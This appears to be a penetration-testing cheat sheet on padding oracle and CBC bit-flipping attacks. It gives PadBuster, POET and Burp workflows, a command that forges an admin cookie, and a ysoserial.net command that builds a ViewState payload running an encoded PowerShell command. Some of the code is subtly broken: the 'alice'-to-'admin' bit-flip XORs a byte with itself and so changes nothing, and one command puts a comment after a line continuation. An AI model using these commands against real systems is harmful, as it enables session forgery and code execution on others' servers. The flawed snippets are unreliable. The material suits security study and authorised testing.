Padding Oracle Attack
Padding oracle attacks against CBC-mode encryption: detecting a padding oracle via error responses, decrypting ciphertext byte-by-byte, encrypting arbitrary plaintext, and practical tools (PadBuster, POET, Burp). ASP.NET ViewState and cookie decryption.
What is a Padding Oracle
Block ciphers in CBC (Cipher Block Chaining) mode require plaintext to be padded to a multiple of the block size (16 bytes for AES). PKCS#7 padding adds bytes equal to the number of bytes added (e.g., \x04\x04\x04\x04 for 4 bytes).
A padding oracle is any system that tells you whether decrypted ciphertext has valid padding — even indirectly through:
- Different HTTP response codes (200 vs 500)
- Different error messages (“invalid data” vs “invalid padding”)
- Different response times
- Different redirect behaviour
With a padding oracle you can decrypt any ciphertext and encrypt arbitrary plaintext without knowing the key.
Detection
Step 1 — Find encrypted values in the application
Look for:
- Encrypted cookies (e.g.,
.ASPXAUTH,encrypted_token) - ViewState parameters (ASP.NET)
- URL parameters containing Base64 or hex-encoded blobs
- JWT with symmetric encryption (
diralg header)
Step 2 — Flip bits and observe the response
Take the ciphertext and flip individual bits in the last block (or second-to-last block) by XORing with different values. Submit modified ciphertext:
import base64
ct = bytearray(base64.b64decode('BASE64_CIPHERTEXT'))
ct[-1] ^= 1 # Flip the last byte
modified = base64.b64encode(ct).decode()
# Submit and observe response
Repeat with different bit flips. Two distinct responses (valid padding vs invalid padding) confirm a padding oracle.
Step 3 — Confirm the oracle type
Document what the oracle signal is:
- HTTP 200 vs HTTP 500
- “Decryption failed” vs “Access denied”
- Normal page vs error page
- Response length difference
Decrypt Ciphertext
Concept
For CBC decryption, each plaintext byte P[i] = Decrypt(C[i]) XOR C[i-1].
By systematically flipping bytes in C[i-1] and checking padding validity, you can determine Decrypt(C[i]) and therefore P[i].
Using PadBuster
# Decrypt a cookie value
padbuster http://TARGET/page "ENCRYPTED_COOKIE_VALUE" 8 \
-cookies "auth=ENCRYPTED_COOKIE_VALUE" \
-encoding 0
# Parameters:
# URL — the target URL
# ENCRYPTED_VALUE — the base64/hex encoded ciphertext
# 8 — block size (8 for DES/3DES, 16 for AES)
# -encoding 0 = base64, 1 = lowercase hex, 2 = uppercase hex, 4 = .NET UrlToken
# Common options:
padbuster http://TARGET/page "CIPHERTEXT" 16 \
-cookies "session=CIPHERTEXT" \
-encoding 4 \ # .NET UrlToken encoding
-plaintext "" # if you want to encrypt instead of decrypt
Using POET (Python)
pip install poet
poet -u http://TARGET/page -c "session=CIPHERTEXT" -cip "CIPHERTEXT" -bs 16
Encrypt Arbitrary Plaintext
A padding oracle lets you encrypt your own plaintext (not just decrypt). Use this to forge cookies or ViewState.
Forge an admin cookie
# Encrypt "admin" role data
padbuster http://TARGET/page "CIPHERTEXT" 16 \
-cookies "auth=CIPHERTEXT" \
-encoding 4 \
-plaintext "username=admin&role=admin&expire=9999999999"
PadBuster returns a ciphertext that decrypts to your plaintext — set it as your cookie.
ASP.NET ViewState
ASP.NET ViewState is often encrypted with AES + MAC. If MAC validation is disabled or the key is weak:
# Decrypt ViewState
padbuster http://TARGET/page "__VIEWSTATE_VALUE" 16 \
-post "__VIEWSTATE=__VIEWSTATE_VALUE&__EVENTTARGET=&..." \
-encoding 4 \
-error "Server Error"
# Forge malicious ViewState with ysoserial.net
ysoserial.exe -o base64 -g TypeConfuseTrick \
-f ObjectStateFormatter -c "powershell -e BASE64_CMD"
CBC Bit-Flipping Attack (related)
Without a padding oracle, if you know the structure of plaintext and can manipulate the output, you can flip plaintext bits by modifying the previous ciphertext block:
P_modified = P_original XOR C_original_byte XOR C_desired_byte
Example — change user=alice to user=admin:
ct = bytearray(base64.b64decode(cookie))
# Byte position in the ciphertext corresponding to 'a' in 'alice' in the previous block
ct[POSITION] ^= ord('a') ^ ord('a') # 'alice' → 'admin' (byte by byte)
Burp Suite workflow
- Proxy — identify encrypted values in cookies, ViewState, and URL parameters.
- Repeater — manually flip bits in the ciphertext and compare responses; identify the oracle signal.
- Hackvertor (BApp) — decode/encode Base64, hex, URL encoding for ciphertext manipulation.
- Logger++ — log all responses to spot the oracle (different length/code/content).
- Intruder — automate byte flipping across all 256 values for a single position; use the oracle signal as the grep match.